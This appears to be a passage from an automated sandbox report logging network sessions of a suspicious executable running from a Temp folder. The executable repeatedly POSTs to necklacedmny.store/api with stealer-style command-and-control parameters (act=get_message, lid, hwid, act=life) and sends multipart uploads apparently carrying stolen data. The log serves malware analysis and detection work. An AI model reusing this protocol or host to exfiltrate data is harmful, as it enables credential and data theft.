2024-10-31 19:52:30 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 19:52:31 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=15o0g97geqvme9bps684sb5k99; expires=Mon, 24-Feb-2025 13:39:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KR1WmsoG2XUtMaB8CborkgO0vRN5Mfo%2BcKdjnJClyi8JWm%2BQQ6f6pVNCrR%2BEVBvSgadLKz5ov%2BqHr5LaOVoUb8gLs%2BiqQmFhjeF0h9F1LUULT8kKXQTks2jPckbpn8EPnUO8MwY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62f98cb764863-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1094&sent=15&recv=23&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19132&delivery_rate=2448013&cwnd=247&unsent_bytes=0&cid=a97b431243e88c06&ts=996&x=0"
2024-10-31 19:52:31 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 19:52:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49760	188.114.97.3	443	5960	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:31 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 19:52:31 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=B862A4CF12685C55225EA4FC79AFA1FF
2024-10-31 19:52:32 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=58hkb2cc12gbtnovg827mr7qbd; expires=Mon, 24-Feb-2025 13:39:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zqpFivArZaB70gUJrk2ryAsm%2FDV0Dr2DniqdO7wd2xTqOURfDSfE4ygQECjNOJxdSTbfoLIVttbee9AejhJxKqLvIA6782ORFrI%2BeOgBdAw1dcgyrKeYUO%2BssvGrE4HPY0arAjQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62f9f98e5c872-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1756&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=1458942&cwnd=252&unsent_bytes=0&cid=f6628d6d75b412c4&ts=711&x=0"
2024-10-31 19:52:32 UTC	214	IN	Data Raw: 64 30 0d 0a 71 73 51 4c 65 4e 52 59 79 78 35 6d 78 46 64 6f 70 42 6f 64 6c 35 2f 57 6c 4f 56 6d 6c 39 50 59 47 77 42 6c 62 49 72 77 63 6b 6a 78 76 79 6b 4e 39 6d 4c 70 64 68 4b 77 4a 31 4c 34 4e 55 47 34 72 75 36 68 79 31 53 6d 35 76 59 71 4d 56 5a 43 75 38 59 75 5a 38 57 69 62 53 54 37 50 4b 35 34 53 4b 45 76 44 59 59 32 50 2f 48 72 39 4b 37 56 53 72 57 32 2b 69 45 77 47 45 44 78 30 67 64 71 6b 4f 5a 6a 44 4b 41 6f 38 55 4a 4a 6d 48 68 5a 6e 43 38 7a 70 61 37 6a 75 74 52 58 70 50 33 70 4c 56 78 4b 41 65 4f 65 46 78 53 46 74 6d 6f 57 73 44 65 6d 4d 41 4f 38 4d 6b 71 49 4f 48 76 6a 76 65 79 6b 79 55 54 79 38 65 49 72 66 54 67 3d 0d 0a Data Ascii: d0qsQLeNRYyx5mxFdopBodl5/WlOVml9PYGwBlbIrwckjxvykN9mLpdhKwJ1L4NUG4ru6hy1Sm5vYqMVZCu8YuZ8WibST7PK54SKEvDYY2P/Hr9K7VSrW2+iEwGEDx0gdqkOZjDKAo8UJJmHhZnC8zpa7jutRXpP3pLVxKAeOeFxSFtmoWsDemMAO8MkqIOHvjveykyUTy8eIrfTg=
2024-10-31 19:52:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49765	188.114.97.3	443	7336	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:32 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 19:52:32 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B862A4CF12685C55225EA4FC79AFA1FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 19:52:32 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3vh6q0juf5a7e028snigevmlef; expires=Mon, 24-Feb-2025 13:39:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8xizTIb5oHYwdxGzBs3BFP1VmC12xaEnaQrNW671vTfNaMZFdUB%2FXQT%2BJfZnFIwFkS1lq6FNDRuFfv6rQcUCGElgifjo5xdDhAPiDBu7QZDgK4bfAFFU2ILQ%2F7OAmD2WFkH%2BCi0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62fa31f29c872-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1124&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9730&delivery_rate=2611361&cwnd=252&unsent_bytes=0&cid=b4fdcd1b1cf6a5b8&ts=517&x=0"
2024-10-31 19:52:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 19:52:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49769	188.114.97.3	443	7336	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:34 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 19:52:34 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B862A4CF12685C55225EA4FC79AFA1FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 19:52:34 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 19:52:35 UTC	1025	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=boitkbhu4lfchtfrt77ioj411k; expires=Mon, 24-Feb-2025 13:39:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o62D0lyd2Ba%2BzJ3iXEj%2FLRvmPOZUON8TSqykS3FrT0yJb%2FB%2FO2kC%2F6fMkvMX%2BxmBZuScwLBFUWyyvkiCPgNhc2dOSDJOm%2B2greoBA0ED8mLBpMJScMbU8DDxjPszW4qSFTvTxYA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62fb0c9602e71-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1802&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21406&delivery_rate=1741431&cwnd=251&unsent_bytes=0&cid=bbc6d63815a8113b&ts=562&x=0"
2024-10-31 19:52:35 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 19:52:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49775	188.114.97.3	443	7336	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:39 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1301 Host: necklacedmny.store
2024-10-31 19:52:39 UTC	1301	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B862A4CF12685C55225EA4FC79AFA1FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 19:52:39 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ks6dkhtopuc71kg4vjr9fplqim; expires=Mon, 24-Feb-2025 13:39:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iBhHxNNmrmecrwHvpyXU9gQNOpTTjXWWuNf1qaimVZu%2B1oWNj1rVcev6IDlal0KBorsvvitr%2FE9GBC55h4ttjVfkYBPzS%2BdvLieFsGPmEWgDMucitfYO1pfpqHtcIMA0aXXtxx4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62fcdafe6e81b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2217&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2220&delivery_rate=1294012&cwnd=239&unsent_bytes=0&cid=ba76d3fc5e61fd06&ts=730&x=0"
2024-10-31 19:52:39 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 19:52:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49779	188.114.97.3	443	7336	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:43 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1406 Host: necklacedmny.store
2024-10-31 19:52:43 UTC	1406	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B862A4CF12685C55225EA4FC79AFA1FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 19:52:43 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c6f0sluhfacq6mbp9nmmeu71gc; expires=Mon, 24-Feb-2025 13:39:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ClAveiRZcJ3HcmZ3AmL7a75GXALqeLr6w9NZQ%2FRKH0u5FS8I35yrblzrh1b%2Fs71IvWhDWwMz5930%2B9le8l0HpXy%2BLiIhjmH2rHJ1vCYw5FPKcitkaGgAmH8iIbeH59GMoASu76g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62fe58ae22e6d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1966&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2325&delivery_rate=1432245&cwnd=243&unsent_bytes=0&cid=1df1dbc4fe003e17&ts=480&x=0"
2024-10-31 19:52:43 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 19:52:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49783	188.114.97.3	443	7336	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:44 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 19:52:44 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=B862A4CF12685C55225EA4FC79AFA1FF
2024-10-31 19:52:44 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qp6vdr3c4asjjdb88uqu45e3lt; expires=Mon, 24-Feb-2025 13:39:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7qB2%2F7y%2FDlK974Q%2Bo38kXl0uwjCxlU%2B8Voiosn2aVPodMKHYwdaGqzLrdP63FIY0Avkn%2BMQwdUWZ3r7jtTDs9cjxKDBUG3w87vCFRHtevXhzMJ%2B7X9EVKPYzBwDMl0bhuRjbi3E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62feea9e1e7d3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1087&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2625566&cwnd=231&unsent_bytes=0&cid=eb592fcb92d5a168&ts=462&x=0"
2024-10-31 19:52:44 UTC	214	IN	Data Raw: 64 30 0d 0a 7a 76 6f 63 75 61 71 46 71 7a 72 7a 43 47 41 30 4b 34 65 4d 7a 2f 63 66 67 6a 39 59 5a 55 6f 70 6e 59 30 6f 78 55 72 57 67 46 57 56 67 54 37 4d 69 4c 2b 4a 55 6f 64 38 45 41 35 33 71 4e 44 67 78 69 65 33 45 57 70 55 66 77 65 73 76 42 76 72 65 2b 44 63 65 71 47 63 65 75 57 46 34 63 35 63 33 57 30 59 55 51 6d 72 72 71 6d 44 50 62 67 50 64 45 63 76 43 36 65 39 56 65 6b 78 39 50 56 33 39 4e 68 30 7a 64 37 31 6b 57 62 63 56 45 38 46 45 37 4b 69 2f 63 59 71 72 41 35 70 56 6d 51 59 71 39 45 48 71 43 4f 34 35 51 6e 68 69 48 33 58 7a 75 72 47 46 4a 5a 77 42 52 59 48 70 65 71 37 31 53 57 79 45 33 6f 41 61 42 4f 74 38 48 55 3d 0d 0a Data Ascii: d0zvocuaqFqzrzCGA0K4eMz/cfgj9YZUopnY0oxUrWgFWVgT7MiL+JUod8EA53qNDgxie3EWpUfwesvBvre+DceqGceuWF4c5c3W0YUQmrrqmDPbgPdEcvC6e9Vekx9PV39Nh0zd71kWbcVE8FE7Ki/cYqrA5pVmQYq9EHqCO45QnhiH3XzurGFJZwBRYHpeq71SWyE3oAaBOt8HU=
2024-10-31 19:52:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49816	188.114.97.3	443	7632	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:53:03 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 19:53:03 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 19:53:04 UTC	1012	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:53:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o9lilt6ot5mipa01bk0c69m44l; expires=Mon, 24-Feb-2025 13:39:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oVhsx3lXZYjYPWigdzSnW0hwT4X9P3kfyf0ejtchHfCsM7e9MXI8QUwn6zo1syjW7oQxhCIy2bBVJDdLvemL90PEIHvq8JJADYjPCDErxZ7CycJ%2B1izEb%2FiNY3OL1HTCvBLo8Qc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db630650f5ee905-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2236&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1300404&cwnd=234&unsent_bytes=0&cid=1b51f6dfdfa9eec2&ts=1393&x=0"
2024-10-31 19:53:04 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 19:53:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49832	188.114.97.3	443	7632	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
